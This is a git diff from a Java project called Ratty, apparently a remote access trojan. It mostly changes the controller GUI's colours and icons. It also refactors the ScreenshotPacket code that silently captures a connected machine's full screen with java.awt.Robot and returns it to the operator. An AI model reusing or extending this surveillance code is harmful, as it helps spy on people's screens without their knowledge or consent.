diff --git a/Ratty/res/gui_icon.png b/Ratty/res/gui_icon.png new file mode 100644 index 0000000..68c1e12 Binary files /dev/null and b/Ratty/res/gui_icon.png differ diff --git a/Ratty/res/icons.png b/Ratty/res/icons.png new file mode 100644 index 0000000..e6f180d Binary files /dev/null and b/Ratty/res/icons.png differ diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index b654554..3cad3ac 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -26,8 +26,12 @@ public final class Ratty { final NimbusLookAndFeel nimbus = new NimbusLookAndFeel(); final UIDefaults defaults = nimbus.getDefaults(); - defaults.put("control", Color.LIGHT_GRAY); - defaults.put("nimbusBase", Color.GRAY); + defaults.put("control", Color.GRAY); + defaults.put("nimbusBase", Color.BLACK); + defaults.put("text", Color.WHITE); + defaults.put("Table:\"Table.cellRenderer\".background", Color.GRAY); + defaults.put("Table.alternateRowColor", Color.LIGHT_GRAY); + defaults.put("TextField.foreground", Color.BLACK); try { UIManager.setLookAndFeel(nimbus); diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java index 74635be..9c03b59 100644 --- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java @@ -20,7 +20,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket { private BufferedImage image; - private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); + private static final BufferedImage NO_IMAGE = new BufferedImage(10, 10, BufferedImage.TYPE_INT_RGB); private static final int SCREEN_WIDTH = 800; private static final int SCREEN_HEIGHT = 600; @@ -82,18 +82,11 @@ public final class ScreenshotPacket extends AbstractPingPongPacket { @Override protected void executeRequest(final ActiveClient client) { - final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); - final Rectangle screenRect = new Rectangle(screen); + type = DATA; + image = takeScreenshot(); - try { - final Robot robot = new Robot(); - - type = DATA; - image = robot.createScreenCapture(screenRect); - } catch (final AWTException ex) { + if (image == null) { image = NO_IMAGE; - - ex.printStackTrace(); } client.addPacket(this); @@ -119,4 +112,20 @@ public final class ScreenshotPacket extends AbstractPingPongPacket { return image; } + public static BufferedImage takeScreenshot() { + final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); + final Rectangle screenRect = new Rectangle(screen); + + try { + final Robot robot = new Robot(); + final BufferedImage image = robot.createScreenCapture(screenRect); + + return image; + } catch (final AWTException ex) { + ex.printStackTrace(); + + return null; + } + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 66eb47c..8ce2400 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -7,6 +7,7 @@ import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; +import javax.swing.ImageIcon; import javax.swing.JFrame; import javax.swing.JMenuItem; import javax.swing.JPopupMenu; @@ -15,6 +16,8 @@ import javax.swing.JTable; import javax.swing.table.DefaultTableModel; import de.sogomn.engine.Screen; +import de.sogomn.engine.fx.SpriteSheet; +import de.sogomn.engine.util.ImageUtils; public final class RattyGui { @@ -40,6 +43,8 @@ public final class RattyGui { }; private static final int SCREEN_WIDTH = 800; private static final int SCREEN_HEIGHT = 600; + private static final BufferedImage ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); + private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/icons.png", 16, 16).getSprites(); public static final String POPUP = "Open popup"; public static final String SCREENSHOT = "Take screenshot"; @@ -62,11 +67,14 @@ public final class RattyGui { tableModel = (DefaultTableModel)table.getModel(); menu = new JPopupMenu(); - for (final String command : ACTION_COMMANDS) { + for (int i = 0; i < ACTION_COMMANDS.length && i < MENU_ICONS.length; i++) { + final String command = ACTION_COMMANDS[i]; final JMenuItem item = new JMenuItem(command); + final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); item.setActionCommand(command); item.addActionListener(this::menuItemClicked); + item.setIcon(icon); menu.add(item); } @@ -88,10 +96,13 @@ public final class RattyGui { final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); + scrollPane.setBorder(null); + frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setContentPane(scrollPane); frame.pack(); frame.setLocationByPlatform(true); + frame.setIconImage(ICON); frame.setVisible(true); frame.requestFocus(); }